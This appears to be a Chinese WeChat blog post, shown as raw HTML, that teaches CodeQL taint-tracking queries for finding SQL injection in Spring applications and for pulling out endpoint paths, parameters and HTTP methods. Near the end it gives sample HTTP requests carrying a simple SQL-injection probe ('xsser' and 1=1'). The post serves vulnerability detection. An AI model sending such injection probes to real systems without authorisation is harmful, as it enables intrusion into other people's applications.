src="https://wechat2rss.xlab.app/img-proxy/?k=e9f76a2d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrrbZLC2ibIgtgV382cFCwmibpHFT7jndu1ibEDpFia0dzsjETHdt0HFzYlVRnHIaumpf3QyVos7giadDicqSku9zOEibw%2F640%3Fwx_fmt%3Djpeg"/></section><section data-mpa-template="t" mpa-from-tpl="t"><br/></section></section></section><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-id="86516" mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><secyion><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-role="paragraph" mpa-from-tpl="t"><section data-id="94121" mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-role="paragraph" mpa-from-tpl="t"><section data-id="94121" mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="6001" data-type="lspecial06" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section style="text-align: left;margin-top: 10px;"><section style="text-align: center;display: inline-block;vertical-align: middle;" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t" style="width: 30px;height: 30px;color: rgb(255, 255, 255);font-size: 1em;line-height: 30px;display: inline-block;text-align: center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iaZYD7BI4J2xBwzaUL34juaQmtwGxYsjKibthxUI3dS3jrEuIDeb9ruJ692BfFl22fWqKck8reEpPaQ/640?wx_fmt=gif&#34;);background-repeat: no-repeat;background-size: 100%;background-position: 0px center;margin: 0px auto;"><p style="margin:0px;padding:0px;font-size:16px;text-align:center;" data-md5="41e97" mpa-none-contnet="t">1</p></section></section><section style="text-align: center;vertical-align: middle;display: inline-block;margin-left: -30px;padding-left: 30px;box-sizing: border-box;max-width: 100%;" data-md5="41e97" mpa-from-tpl="t"><p style="font-size: 16px;margin: 0px;color: rgb(88, 88, 88);" data-md5="41e97"><span style="font-size: 18px;"> <span style="font-size: 16px;" mpa-is-content="t"><strong>CodeQL</strong><strong>介绍</strong></span></span> </p></section></section></section></section><section style="margin-top: 10px;"><span style="font-family: 等线;font-size: 14px;">CodeQL</span><span style="font-family: 等线;font-size: 14px;">是一个史诗般质的跨越的工具，在这个之前，大家公认的顶峰可能是</span><span style="font-family: 等线;font-size: 14px;">fortify</span><span style="font-family: 等线;font-size: 14px;">。</span></section></section></section></section></section></section></section></section></section></section></section></section></section></section></secyion></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section><p style="margin-bottom: 5px;margin-top: 10px;"><span style="font-family: 等线;font-size: 14px;">QL是一种查询语言，支</span><span style="font-family: 等线;font-size: 14px;">持对C++，C#，Java，JavaScript，Python，go等多种语言进行分析，可用于分析代码，查找代码中控制流等信息。</span></p><section style="margin-bottom: 5px;"><span style="font-family: 等线;font-size: 14px;"><br/></span></section></section></section></section></section></section></section></section><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-id="6001" data-type="lspecial06" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-id="6001" data-type="lspecial06" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section><section data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-id="6001" data-type="lspecial06" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="6001" data-type="lspecial06" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section style="text-align: left;" data-md5="41e97" mpa-from-tpl="t"><section style="text-align: center;display: inline-block;vertical-align: middle;" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t" style="width:30px;height:30px;color:#fff;font-size:1em;line-height: 30px;display:inline-block;text-align:center;background-image:url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iaZYD7BI4J2xBwzaUL34juaQmtwGxYsjKibthxUI3dS3jrEuIDeb9ruJ692BfFl22fWqKck8reEpPaQ/640&#34;);background-repeat:no-repeat;background-size:100%;background-position:0;margin:0 auto;"><p style="margin:0px;padding:0px;font-size:16px;text-align:center;" data-md5="41e97" mpa-none-contnet="t">2</p></section></section><section style="text-align: center;vertical-align: middle;display: inline-block;margin-left: -30px;padding-left: 30px;box-sizing: border-box;max-width: 100%;" data-md5="41e97" mpa-from-tpl="t"><p style="font-size:16px;paddding:0px;margin:0px;color:#585858;" data-md5="41e97"><span style="font-size: 18px;"><span style="font-size: 16px;" mpa-is-content="t"><strong>认识基础模块</strong></span></span> </p></section></section></section></section><section style="text-align: left;margin-top: 10px;"><span style="text-align: justify;font-family: 等线;font-size: 14px;">首先引入1个模块，这个模块也是</span><span style="text-align: justify;font-family: 等线;font-size: 14px;">CodeQL</span><span style="text-align: justify;font-family: 等线;font-size: 14px;">的核心之一，那就是</span><span style="text-align: justify;font-family: 等线;font-size: 14px;">DataFlow</span><span style="text-align: justify;font-family: 等线;font-size: 14px;">模块。这个模块负责实现代码的数据流跟踪功能，即实现整个的调用栈分析。</span></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section></section><section style="margin-top: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">这个模块最核心常用的方法就是</span></span><span style="font-family:等线;font-size:14px;">hasFlowPath</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">方法，它接受</span>2个参数，一个是</span><span style="font-family:等线;font-size:14px;">source，另</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">一个是</span></span><span style="font-family:等线;font-size:14px;">sink</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">，这个模块是用来判断一个数据流，所以我们可以这样写代码：</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">from QueryInjectionSink query, DataFlow::PathNode <span class="code-snippet__built_in">source</span>, DataFlow::PathNode sink </span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">where</span> queryTaintedBy(query, <span class="code-snippet__built_in">source</span>, sink)</span></code><code><span class="code-snippet_outer">select</span></code><code><span class="code-snippet_outer">query, <span class="code-snippet__built_in">source</span>,sink</span></code></pre></section><p style="margin-top: 15px;"><span style="font-family: 等线;font-size: 14px;">其中</span><span style="font-family: 等线;font-size: 14px;">queryTaintedBy</span><span style="font-family: 等线;font-size: 14px;">是一个“谓词”，通俗的说就是方法。这个方法里我们会去操作数据流的</span><span style="font-family: 等线;font-size: 14px;">config</span><span style="font-family: 等线;font-size: 14px;">配置。</span><br/></p><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;"></span></span></p><p style="margin-bottom: 15px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">按照上述写法就可以查询</span></span><span style="font-family:等线;font-size:14px;">source</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">到</span></span><span style="font-family:等线;font-size:14px;">sink</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">的数据流了。但直接这样查当然是不行的，我们还要约束一定的范围和条件，这里的</span></span><span style="font-family:等线;font-size:14px;">QueryInjectionSink</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">就是这个查询的配置，也就是</span></span><span style="font-family:等线;font-size:14px;">config,</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">它必须继承于</span></span><span style="font-family:等线;font-size:14px;">TaintTracking::Configuration</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">，所以我们要建立一个数据类型来表示这个</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">QueryInjectionFlowConfig</span> <span class="code-snippet__title">extends</span> <span class="code-snippet__title">TaintTracking</span>::<span class="code-snippet__title">Configuration</span> {</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//定义配置 this可以随意写</span></span></code><code><span class="code-snippet_outer">  QueryInjectionFlowConfig() { <span class="code-snippet__keyword">this</span> = <span class="code-snippet__string">&#34;SqlInjectionLib::QueryInjectionFlowConfig&#34;</span> }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//定义source的来源，这里是来自RemoteFlowSource，这是一个官方写的class，较为全面的定义了远程可控的来源，但是还是有一些问题。我做了一些补充，以后会提及</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">override</span> predicate <span class="code-snippet__title">isSource</span>(<span class="code-snippet__params">DataFlow::Node src</span>)</span> { src instanceof RemoteFlowSource }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//QueryInjectionSink定义了sink的约束条件</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">override</span> predicate <span class="code-snippet__title">isSink</span>(<span class="code-snippet__params">DataFlow::Node sink</span>)</span> { sink instanceof QueryInjectionSink }</span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//过滤条件，这里对node中的数据类型做了判断，如果是一些int long之类的数据类型就会抛弃不会进入数据流判断，这也是CodeQL较为准确的识别SQL注入的原因之一。</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__function"><span class="code-snippet__keyword">override</span> predicate <span class="code-snippet__title">isSanitizer</span>(<span class="code-snippet__params">DataFlow::Node node</span>)</span> {</span></code><code><span class="code-snippet_outer">    node.getType() instanceof PrimitiveType or</span></code><code><span class="code-snippet_outer">    node.getType() instanceof BoxedType or</span></code><code><span class="code-snippet_outer">    node.getType() instanceof NumberType</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin-top: 15px;margin-bottom: 15px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">这里的</span>3个方法，</span><span style="font-family:等线;font-size:14px;">isSource,isSink,isSanitizer</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">，其中前面</span>2个方法是必须要的，最后一个方法是用来设置过滤条件，还有一些可选的方法比如</span><span style="font-family:等线;font-size:14px;">additonalstepxx等</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">。</span></span></p><p style="text-align: left;"><span style="font-family:等线;font-size:14px;">i</span><span style="font-family:等线;font-size:14px;">sSource</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">是来源于</span></span><span style="font-family:等线;font-size:14px;">RemoteFlowSource</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">，这也是</span></span><span style="font-family:等线;font-size:14px;">CodeQL</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">解决</span>SQL注入的强大的地方，这个是官方写的一个类，这个类覆盖了大部分的用户可控的来源，比如</span><span style="font-family:等线;font-size:14px;">getParameter().getHost()</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">等，甚至覆盖了</span></span><span style="font-family:等线;font-size:14px;">Socket</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">来源的，这也使得扫描出远程方法调用的反序列化情况变得更容易，再也不需要一行行靠经验来代码审计了。</span></span></p><p style="margin-top: 10px;margin-bottom: 5px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">然后接下来我们定义个谓词，也就是刚才上文说的</span></span><span style="font-family:等线;font-size:14px;">queryTaintedBy</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">方法</span></span><span style="font-family:等线;font-size:14px;">(</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">谓词</span></span><span style="font-family:等线;font-size:14px;">)</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">，我们这样写</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="php"><code><span class="code-snippet_outer">predicate queryTaintedBy(</span></code><code><span class="code-snippet_outer">  QueryInjectionSink query, DataFlow::PathNode source, DataFlow::PathNode sink</span></code><code><span class="code-snippet_outer">) {</span></code><code><span class="code-snippet_outer">  exists(QueryInjectionFlowConfig conf | conf.hasFlowPath(source, sink) <span class="code-snippet__keyword">and</span> sink.getNode() = query)</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="margin-top: 15px;text-align: left;"><span style="letter-spacing: 0.5px;font-family: 等线;font-size: 14px;">在这里，我们就可以实现一个查询了，其中conf变量就是用来定义查询配置的，然后使用conf配置去执行查询，也就是hasFlowPath方法。</span></p><p style="margin-top: 15px;text-align: left;"><span style="letter-spacing: 0.5px;font-family: 等线;font-size: 14px;">在这个例子中，还有一个条件sink.getNode()=query，这里的query是一个QueryInjectionSink类型的。这个QueryInjectionSink类型要深入讲解的话大家要去看源代码了，SQL注入的一大部分重点就是在这个QueryInjectionSink类型上，他定义了很多sink的内容，实现了CodeQL对数据库查询的的覆盖。例如jdbc, hibernate等常见的方法，但是sink覆盖的不是很多，这个地方只能手动去加，官方留有余地的只写了3个(我的意思就是这个地方需要)，不过可以覆盖大部分的情况(这就给漏报提供了空间)。</span><br/></p><p><span style="font-family:等线;font-size:14px;"></span></p><p><br/></p><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="6001" data-type="lspecial06" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section style="text-align: left;" data-md5="41e97" mpa-from-tpl="t"><section style="text-align: center;display: inline-block;vertical-align: middle;" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t" style="width: 30px;height: 30px;color: rgb(255, 255, 255);font-size: 1em;line-height: 30px;display: inline-block;text-align: center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iaZYD7BI4J2xBwzaUL34juaQmtwGxYsjKibthxUI3dS3jrEuIDeb9ruJ692BfFl22fWqKck8reEpPaQ/640?wx_fmt=gif&#34;);background-repeat: no-repeat;background-size: 100%;background-position: 0px center;margin: 0px auto;"><p style="margin:0px;padding:0px;font-size:16px;text-align:center;" data-md5="41e97" mpa-none-contnet="t">3</p></section></section><section style="text-align: center;vertical-align: middle;display: inline-block;margin-left: -30px;padding-left: 30px;box-sizing: border-box;max-width: 100%;" data-md5="41e97" mpa-from-tpl="t"><p style="font-size: 16px;margin: 0px;color: rgb(88, 88, 88);" data-md5="41e97"><span style="font-size: 18px;"><span style="font-size: 16px;" mpa-is-content="t"><strong>分析需求</strong></span></span> </p></section></section></section></section><section style="text-align: left;margin-top: 10px;"><span style="text-align: justify;font-family: 等线;font-size: 14px;">接下来我们要实现一个需求，即：识别一个应用的接口和对应的参数和对应的</span><span style="text-align: justify;font-family: 等线;font-size: 14px;">sink。(</span><span style="text-align: justify;font-family: 等线;font-size: 14px;">先只考虑</span><span style="text-align: justify;font-family: 等线;font-size: 14px;">Spring</span><span style="text-align: justify;font-family: 等线;font-size: 14px;">框架下)</span></section></section></section></section></section></section></section><section style="margin-top: 10px;"><span style="font-family: 等线;font-size: 14px;">然后我们来切割这个需求的操作过程，首先我们要操作</span><span style="font-family: 等线;font-size: 14px;">source</span><span style="font-family: 等线;font-size: 14px;">和s</span><span style="font-family: 等线;font-size: 14px;">ink</span><span style="font-family: 等线;font-size: 14px;">，这个是必须的，接口的参数和路径通过source获得，对</span><span style="font-family: 等线;font-size: 14px;">sink</span><span style="font-family: 等线;font-size: 14px;">操作不大。然后我们会用到</span><span style="font-family: 等线;font-size: 14px;">annotation</span><span style="font-family: 等线;font-size: 14px;">这个类，这个类可以返回对应的注解给我们。获得</span><span style="font-family: 等线;font-size: 14px;">source</span><span style="font-family: 等线;font-size: 14px;">后，我们还要去识别对应接口接受参数的方法是</span><span style="font-family: 等线;font-size: 14px;">post</span><span style="font-family: 等线;font-size: 14px;">还是</span><span style="font-family: 等线;font-size: 14px;">get</span><span style="font-family: 等线;font-size: 14px;">，这个也很好办，我们获得参数的注解就完事了。如果是</span><span style="font-family: 等线;font-size: 14px;">RequestParam</span><span style="font-family: 等线;font-size: 14px;">那就认为是</span><span style="font-family: 等线;font-size: 14px;">get</span><span style="font-family: 等线;font-size: 14px;">，如果是其他的就认为是</span><span style="font-family: 等线;font-size: 14px;">post</span><span style="font-family: 等线;font-size: 14px;">，我这里比较粗暴和粗糙的去判断了，总体就是看一个思路。</span></section><p><br/></p><p><br/></p><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="6001" data-type="lspecial06" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section style="text-align: left;" data-md5="41e97" mpa-from-tpl="t"><section style="text-align: center;display: inline-block;vertical-align: middle;" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t" style="width: 30px;height: 30px;color: rgb(255, 255, 255);font-size: 1em;line-height: 30px;display: inline-block;text-align: center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iaZYD7BI4J2xBwzaUL34juaQmtwGxYsjKibthxUI3dS3jrEuIDeb9ruJ692BfFl22fWqKck8reEpPaQ/640?wx_fmt=gif&#34;);background-repeat: no-repeat;background-size: 100%;background-position: 0px center;margin: 0px auto;"><p style="margin:0px;padding:0px;font-size:16px;text-align:center;" data-md5="41e97" mpa-none-contnet="t">4</p></section></section><section style="text-align: center;vertical-align: middle;display: inline-block;margin-left: -30px;padding-left: 30px;box-sizing: border-box;max-width: 100%;" data-md5="41e97" mpa-from-tpl="t"><p style="font-size: 16px;margin: 0px;color: rgb(88, 88, 88);" data-md5="41e97"><span style="font-size: 18px;"><span style="font-size: 16px;" mpa-is-content="t"><strong>实现过程</strong></span></span> </p></section></section></section></section><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-family: 等线;font-size: 14px;">接下来我们开始定义个简单的谓词</span></p></section></section></section></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">string methodIsPostOrGet(DataFlow::PathNode <span class="code-snippet__built_in">source</span>){</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">if</span> source.getNode().asParameter().getAnAnnotation().toString().regexpMatch(<span class="code-snippet__string">&#34;RequestParam&#34;</span>)</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">then</span> result = <span class="code-snippet__string">&#34;get&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">else</span> result = <span class="code-snippet__string">&#34;post&#34;</span></span></code><code><span class="code-snippet_outer">   }</span></code></pre></section><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-family: 等线;font-size: 14px;">这是一个带返回结果的谓词，我们要定义它的类型。其中</span><span style="font-family: 等线;font-size: 14px;">result</span><span style="font-family: 等线;font-size: 14px;">是CodeQL自带的一个变量，用</span><span style="font-family: 等线;font-size: 14px;">来返回这个方法的结果。</span></p><section style="margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">我们依然要用到</span></span><span style="font-family:等线;font-size:14px;">DataFlow</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">。</span></span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="bash"><code><span class="code-snippet_outer">from QueryInjectionSink query, DataFlow::PathNode <span class="code-snippet__built_in">source</span>, DataFlow::PathNode sink </span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">where</span> queryTaintedBy(query, <span class="code-snippet__built_in">source</span>, sink)</span></code><code><span class="code-snippet_outer">select</span></code><code><span class="code-snippet_outer">query, <span class="code-snippet__string">&#34;接口地址:&#34;</span>,</span></code><code><span class="code-snippet_outer">//获得<span class="code-snippet__built_in">source</span>的注解的值，Spring中为接口地址</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">source</span></span></code><code><span class="code-snippet_outer">    .getNode()</span></code><code><span class="code-snippet_outer">    .asParameter()</span></code><code><span class="code-snippet_outer">    .getCallable()</span></code><code><span class="code-snippet_outer">    .getAnAnnotation()</span></code><code><span class="code-snippet_outer">    .getValue(<span class="code-snippet__string">&#34;value&#34;</span>),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;接口参数:&#34;</span>,</span></code><code><span class="code-snippet_outer">//获得接口的参数名</span></code><code><span class="code-snippet_outer"><span class="code-snippet__built_in">source</span></span></code><code><span class="code-snippet_outer">    .getNode()</span></code><code><span class="code-snippet_outer">    .asParameter()</span></code><code><span class="code-snippet_outer">    .getAnAnnotation()</span></code><code><span class="code-snippet_outer">.getValue(<span class="code-snippet__string">&#34;value&#34;</span>),</span></code><code><span class="code-snippet_outer">//获得sink所在的文件位置</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;文件地址:&#34;</span>,</span></code><code><span class="code-snippet_outer">sink.getNode().asExpr().getLocation(),</span></code><code><span class="code-snippet_outer">//获得<span class="code-snippet__built_in">source</span>节点的路径的http方法</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;请求类型:&#34;</span>,</span></code><code><span class="code-snippet_outer">methodIsPostOrGet(sink),</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;注解内容为:&#34;</span>,</span></code><code><span class="code-snippet_outer">//获得注解</span></code><code><span class="code-snippet_outer">source.getNode().asParameter().getAnAnnotation().toString()</span></code></pre></section><p><br/></p><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><br mpa-from-tpl="t"/></section><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="6001" data-type="lspecial06" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section style="text-align: left;" data-md5="41e97" mpa-from-tpl="t"><section style="text-align: center;display: inline-block;vertical-align: middle;" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t" style="width: 30px;height: 30px;color: rgb(255, 255, 255);font-size: 1em;line-height: 30px;display: inline-block;text-align: center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iaZYD7BI4J2xBwzaUL34juaQmtwGxYsjKibthxUI3dS3jrEuIDeb9ruJ692BfFl22fWqKck8reEpPaQ/640?wx_fmt=gif&#34;);background-repeat: no-repeat;background-size: 100%;background-position: 0px center;margin: 0px auto;"><p style="margin:0px;padding:0px;font-size:16px;text-align:center;" data-md5="41e97" mpa-none-contnet="t">5</p></section></section><section style="text-align: center;vertical-align: middle;display: inline-block;margin-left: -30px;padding-left: 30px;box-sizing: border-box;max-width: 100%;" data-md5="41e97" mpa-from-tpl="t"><p style="font-size:16px;paddding:0px;margin:0px;color:#585858;" data-md5="41e97"><span style="font-size: 18px;"><span style="font-size: 16px;" mpa-is-content="t"><strong>结果</strong></span></span> </p></section></section></section></section></section></section></section></section></section></section><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">最后实现结果如下</span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.10390625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f1b64020&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z76hkwDHCcC6aibm7KWM7iaib98InS3WINZO0VvfKHqdsuLYqVOtice7LlslCzHSkYibibu8JxMbcooT1XQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">至此，我们大概的实现了一个简单的数据流的元数据提取，我们拿到了几个重要的数据：接口路径，接口参数，方法类型，是否有</span></span><span style="font-family:等线;font-size:14px;">sink</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">，文件路径。</span></span></p><p><br/></p><p><br/></p><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section data-mpa-template="t" mpa-from-tpl="t"><section data-id="6001" data-type="lspecial06" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t"><section style="text-align: left;" data-md5="41e97" mpa-from-tpl="t"><section style="text-align: center;display: inline-block;vertical-align: middle;" data-md5="41e97" mpa-from-tpl="t"><section data-md5="41e97" mpa-from-tpl="t" style="width: 30px;height: 30px;color: rgb(255, 255, 255);font-size: 1em;line-height: 30px;display: inline-block;text-align: center;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/b96CibCt70iaZYD7BI4J2xBwzaUL34juaQmtwGxYsjKibthxUI3dS3jrEuIDeb9ruJ692BfFl22fWqKck8reEpPaQ/640?wx_fmt=gif&#34;);background-repeat: no-repeat;background-size: 100%;background-position: 0px center;margin: 0px auto;"><p style="margin:0px;padding:0px;font-size:16px;text-align:center;" data-md5="41e97" mpa-none-contnet="t">6</p></section></section><section style="text-align: center;vertical-align: middle;display: inline-block;margin-left: -30px;padding-left: 30px;box-sizing: border-box;max-width: 100%;" data-md5="41e97" mpa-from-tpl="t"><p style="font-size:16px;paddding:0px;margin:0px;color:#585858;" data-md5="41e97"><span style="font-size: 18px;"><span style="font-size: 16px;" mpa-is-content="t"><strong>思考</strong></span></span> </p></section></section></section></section><section style="margin-top: 10px;"><span style="font-family: 等线;font-size: 14px;">基于这几个数据，我们可以把其他漏洞类型的</span><span style="font-family: 等线;font-size: 14px;">ql</span><span style="font-family: 等线;font-size: 14px;">规则改造成统一的。然后我们每次静态扫描的时候就可以获得这些数据，这样的话，扫描完成我们再去解析对应的</span><span style="font-family: 等线;font-size: 14px;">json</span><span style="font-family: 等线;font-size: 14px;">，即可实现扫描完成自动化实现和封装这个漏洞对应的</span><span style="font-family: 等线;font-size: 14px;">payload</span><span style="font-family: 等线;font-size: 14px;">。</span></section></section></section></section></section></section></section><section style="margin-top: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;"></span></span></section><p><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">例如</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="makefile"><code><span class="code-snippet_outer">POST http/1.1</span></code><code><span class="code-snippet_outer"><span class="code-snippet__section">header:xxx</span></span></code><code><span class="code-snippet_outer">xx</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">Username=xsser’ and 1=1</span></code></pre></section><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">抑或是</span></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="perl"><code><span class="code-snippet_outer">GET /url/from/Spring?username=xsser%27 <span class="code-snippet__keyword">and</span> <span class="code-snippet__number">1</span>=<span class="code-snippet__number">1</span> http/<span class="code-snippet__number">1.1</span></span></code><code><span class="code-snippet_outer">heder</span></code><code><span class="code-snippet_outer">xxxx</span></code><code><span class="code-snippet_outer">xxx</span></code></pre></section><p style="margin-bottom: 15px;margin-top: 10px;"><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">当然，有了基础数据，怎么利用就是天马行空的另一个排列组合的思考范畴了，例如你可以弥补一些</span></span><span style="font-family:等线;font-size:14px;">iast</span><span style="font-family:等线;font-size:14px;"><span style="font-family:等线;">无法定位到来源参数的困难，或者是</span></span><span style="font-family:等线;font-size:14px;">sink</span><span style="font-family:等线;font-size:14px;"><span 